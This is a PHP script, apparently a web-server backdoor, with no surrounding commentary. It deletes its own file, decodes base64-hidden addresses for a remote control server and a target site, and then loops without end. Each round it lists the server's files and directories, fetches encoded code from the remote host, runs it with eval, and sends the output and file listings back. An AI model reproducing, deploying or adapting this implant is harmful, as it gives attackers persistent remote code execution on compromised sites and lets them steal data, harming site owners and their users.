<?php

@unlink(__FILE__);
set_time_limit(0);
define("PHPBOT_BACK", base64_decode('aHR0cHM6Ly9wYXJyb3QyMDI1LndvcmsvcGhwYm90'));

$GLOBALS['HTTP_HOST'] = base64_decode('ZWNpLXByb2pla3QubWFuYWdlbWVudA==');
$GLOBALS['DOCUMENT_ROOT'] = base64_decode('L2JpZy93ZWIvZWNpLXByb2pla3QubWFuYWdlbWVudC9odGRvY3M=');

//******function****************
function php_bot_curl($url, $post = false) {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_ENCODING => "",
        CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20120101 Firefox/34.0",
        CURLOPT_AUTOREFERER => true,
        CURLOPT_CONNECTTIMEOUT => 120,
        CURLOPT_TIMEOUT => 120,
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    );

    if ($post) {
        $options[CURLOPT_POST] = 1;
        $options[CURLOPT_POSTFIELDS] = $post;
    }



    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $content = curl_exec($ch);
    return $content;
}

function php_bot_get_url($url, $post = false) {
    if (function_exists("curl_init")) {
        $dt = php_bot_curl($url, $post);
        return $dt;
    }

    $url .= "?$post";
    $dt = @file_get_contents($url);
    return $dt;
}

///////////////////

chdir($GLOBALS['DOCUMENT_ROOT']);

$domain_id = php_bot_get_url(PHPBOT_BACK . "/api/domainid?host=" . urlencode($GLOBALS['HTTP_HOST']));
$domain_id = trim($domain_id);
if (!$domain_id) {
    exit;
}

define("PHPBOT_DOMAIN_ID", $domain_id);

for ($main_counter = 0; true; $main_counter++) {
    $files = array();
    $dirs = array();
    $dh = opendir(".");
    while ($filepath = readdir($dh)) {
        if (($filepath == '.') || ($filepath == '..'))
            continue;

        if (is_dir($filepath)) {
            $dirs[] = $filepath;
        } else {
            $files[] = $filepath;
        }
    }

    $url = PHPBOT_BACK . "/api/onetask?domain_id=" . PHPBOT_DOMAIN_ID;
    $dt = php_bot_get_url($url);
    $dt = trim($dt);
    if (($dt) && ($dt != '0')) {
        $data = json_decode($dt, true);
        $code = base64_decode($data['code']);
        $GLOBALS['RESPONSE'] = "";
        $GLOBALS['PARAMETER'] = $data['param'];
        @eval($code);
        if ($GLOBALS['RESPONSE']) {
            $url = PHPBOT_BACK . "/api/response?domain_id=" . PHPBOT_DOMAIN_ID;
            $post = "response=" . urlencode(base64_encode($GLOBALS['RESPONSE']));
            $post .= "&script=" . urlencode(base64_encode($data['script']));
            $post .= "&files=" . urlencode(base64_encode(implode(",", $files))) . "&dirs=" . urlencode(base64_encode(implode(",", $dirs)));
            $dt = php_bot_get_url($url, $post);
        }
    }

    $GLOBALS['RESPONSE'] = "";
    $GLOBALS['PARAMETER'] = false;
    //////***************///
    $url = PHPBOT_BACK . "/api/multitask?domain_id=" . PHPBOT_DOMAIN_ID . "&iter=$main_counter";
    $post = "&files=" . urlencode(base64_encode(implode(",", $files))) . "&dirs=" . urlencode(base64_encode(implode(",", $dirs)));
    $dt = php_bot_get_url($url, $post);
    $dt = trim($dt);
    if (($dt) && ($dt != '0')) {
        $list = @json_decode($dt, true);
        if ($list) {
            foreach ($list as $one) {
                $code = base64_decode($one['code']);
                $GLOBALS['RESPONSE'] = "";
                $GLOBALS['PARAMETER'] = $one['param'];
                @eval($code);
                if ($GLOBALS['RESPONSE']) {
                    $url = PHPBOT_BACK . "/api/response?domain_id=" . PHPBOT_DOMAIN_ID;
                    $post = "response=" . urlencode(base64_encode($GLOBALS['RESPONSE']));
                    $post .= "&script=" . urlencode(base64_encode($one['script']));
                    $post .= "&files=" . urlencode(base64_encode(implode(",", $files))) . "&dirs=" . urlencode(base64_encode(implode(",", $dirs)));
                    $dt = php_bot_get_url($url, $post);
                }
            }
        }
    }

    sleep(600);
}


